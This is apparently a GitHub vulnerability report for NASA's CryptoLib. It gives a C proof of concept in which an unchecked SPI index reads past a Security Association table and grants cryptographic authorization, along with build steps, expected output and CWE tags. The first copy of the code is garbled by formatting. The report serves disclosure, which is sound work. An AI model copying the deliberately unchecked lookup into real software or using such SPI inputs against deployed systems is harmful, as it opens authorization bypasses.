-
Notifications
You must be signed in to change notification settings - Fork 51
Description
Description
SPI Out-of-Bounds Authorization Bypass (2026)
Summary
This Proof of Concept demonstrates that an invalid SPI value, coming from untrusted input, can cause an out-of-bounds access in the Security Association table, leading to a cryptographic authorization bypass without a valid SA, and without crashing the program.
This behavior is caused by missing bounds validation and an API contract violation where the function returns success even when the SPI is invalid.
📄 File: poc_spi_auth_bypass.c
#include <stdio.h>
#include <stdint.h>
#include <string.h>
/* ================= CONFIGURATION ================= */
#define NUM_SA 64
#define CRYPTO_SUCCESS 0
/* ================= STRUCTURE ================= /
/ Simplified Security Association structure /
typedef struct {
uint32_t sa_id;
uint8_t key[16];
uint8_t sa_state; / 1 = operational */
} SecurityAssociation;
/* ================= GLOBAL MEMORY ================= /
/ Typical firmware-style static layout /
SecurityAssociation sa_table[NUM_SA];
uint8_t adjacent_memory[64]; / Memory located right after SA table */
/* ================= VULNERABLE API ================= /
/
- Vulnerability:
-
- No bounds check on SPI
-
- Always returns SUCCESS
-
- Breaks API contract
*/
int get_sa_from_spi(uint16_t spi, SecurityAssociation **out) {
out = &sa_table[spi]; / ❌ Out-of-bounds when spi >= NUM_SA /
return CRYPTO_SUCCESS; / ❌ Success even for invalid SPI */
}
- Breaks API contract
/* ================= AUTHORIZATION DECISION ================= */
int authorize_crypto(SecurityAssociation *sa) {
printf(" -> Read sa_state = %u\n", sa->sa_state);
if (sa->sa_state == 1) {
printf(" -> 🔓 CRYPTO AUTHORIZED (BYPASS)\n");
return 0;
}
printf(" -> 🔒 CRYPTO DENIED\n");
return -1;
}
/* ================= FRAME PROCESSING ================= */
void process_frame(uint16_t spi) {
SecurityAssociation *sa = NULL;
printf("\n[Frame] Received SPI = %u\n", spi);
get_sa_from_spi(spi, &sa);
authorize_crypto(sa);
}
/* ================= MAIN ================= /
int main(void) {
/ Realistic initialization */
memset(sa_table, 0, sizeof(sa_table));
/*
* Adjacent memory is filled with non-zero values.
* When accessed out-of-bounds, sa_state may appear as "1",
* causing unintended authorization.
*/
memset(adjacent_memory, 1, sizeof(adjacent_memory));
/* One valid Security Association */
sa_table[0].sa_state = 1;
printf("=== PoC 2026 - SPI Out-of-Bounds Authorization Bypass ===\n");
/* Valid SPI */
process_frame(0);
/* Malicious / invalid SPI values */
process_frame(64); /* First out-of-bounds access */
process_frame(65); /* Out-of-bounds, likely authorization bypass */
process_frame(66); /* Undefined behavior (environment-dependent) */
return 0;
}
Windows (MSYS2 / MinGW)
gcc -O0 -g poc_spi_auth_bypass.c -o poc.exe
./poc.exe
Linux / WSL
gcc -O0 -g poc_spi_auth_bypass.c -o poc
./poc
✅ Expected Output (example)
[Frame] Received SPI = 64
-> Read sa_state = 1
-> 🔓 CRYPTO AUTHORIZED (BYPASS)
➡️ Invalid SPI accepted
➡️ Out-of-bounds memory read
➡️ Authorization granted without a valid SA
➡️ No crash
🔍 Root Cause
Missing bounds validation (spi >= NUM_SA)
API returns success even for invalid input
Caller blindly trusts the returned pointer
💥 Impact
An attacker able to control the SPI field can trigger cryptographic authorization without a valid Security Association, potentially leading to:
unauthorized decryption/encryption
integrity loss
silent security bypass (no crash, no alert)
🏷️ CWE Classification
CWE-119 – Improper Restriction of Operations within the Bounds of a Memory Buffer
CWE-284 – Improper Access Control
CWE-703 – Improper Check or Handling of Exceptional Conditions
CWE-693 – Protection Mechanism Failure
✅ Disclosure Readiness
This PoC is:
minimal
reproducible
non-exploitative
suitable for responsible disclosure, CVE submission, or maintainer security reports
Branch Name
https://github.com/nasa/CryptoLib/issues/
Reproduction steps
📄 File: poc_spi_auth_bypass.c
#include <stdio.h>
#include <stdint.h>
#include <string.h>
/* ================= CONFIGURATION ================= */
#define NUM_SA 64
#define CRYPTO_SUCCESS 0
/* ================= STRUCTURE ================= */
/* Simplified Security Association structure */
typedef struct {
uint32_t sa_id;
uint8_t key[16];
uint8_t sa_state; /* 1 = operational */
} SecurityAssociation;
/* ================= GLOBAL MEMORY ================= */
/* Typical firmware-style static layout */
SecurityAssociation sa_table[NUM_SA];
uint8_t adjacent_memory[64]; /* Memory located right after SA table */
/* ================= VULNERABLE API ================= */
/*
* Vulnerability:
* - No bounds check on SPI
* - Always returns SUCCESS
* - Breaks API contract
*/
int get_sa_from_spi(uint16_t spi, SecurityAssociation **out) {
*out = &sa_table[spi]; /* ❌ Out-of-bounds when spi >= NUM_SA */
return CRYPTO_SUCCESS; /* ❌ Success even for invalid SPI */
}
/* ================= AUTHORIZATION DECISION ================= */
int authorize_crypto(SecurityAssociation *sa) {
printf(" -> Read sa_state = %u\n", sa->sa_state);
if (sa->sa_state == 1) {
printf(" -> 🔓 CRYPTO AUTHORIZED (BYPASS)\n");
return 0;
}
printf(" -> 🔒 CRYPTO DENIED\n");
return -1;
}
/* ================= FRAME PROCESSING ================= */
void process_frame(uint16_t spi) {
SecurityAssociation *sa = NULL;
printf("\n[Frame] Received SPI = %u\n", spi);
get_sa_from_spi(spi, &sa);
authorize_crypto(sa);
}
/* ================= MAIN ================= */
int main(void) {
/* Realistic initialization */
memset(sa_table, 0, sizeof(sa_table));
/*
* Adjacent memory is filled with non-zero values.
* When accessed out-of-bounds, sa_state may appear as "1",
* causing unintended authorization.
*/
memset(adjacent_memory, 1, sizeof(adjacent_memory));
/* One valid Security Association */
sa_table[0].sa_state = 1;
printf("=== PoC 2026 - SPI Out-of-Bounds Authorization Bypass ===\n");
/* Valid SPI */
process_frame(0);
/* Malicious / invalid SPI values */
process_frame(64); /* First out-of-bounds access */
process_frame(65); /* Out-of-bounds, likely authorization bypass */
process_frame(66); /* Undefined behavior (environment-dependent) */
return 0;
}
▶️ Build and Run
Windows (MSYS2 / MinGW)
gcc -O0 -g poc_spi_auth_bypass.c -o poc.exe
./poc.exe
Linux / WSL
gcc -O0 -g poc_spi_auth_bypass.c -o poc
./poc
✅ Expected Output (example)
[Frame] Received SPI = 64
-> Read sa_state = 1
-> 🔓 CRYPTO AUTHORIZED (BYPASS)
➡️ Invalid SPI accepted
➡️ Out-of-bounds memory read
➡️ Authorization granted without a valid SA
➡️ No crashScreenshots
Logs
OS
Windows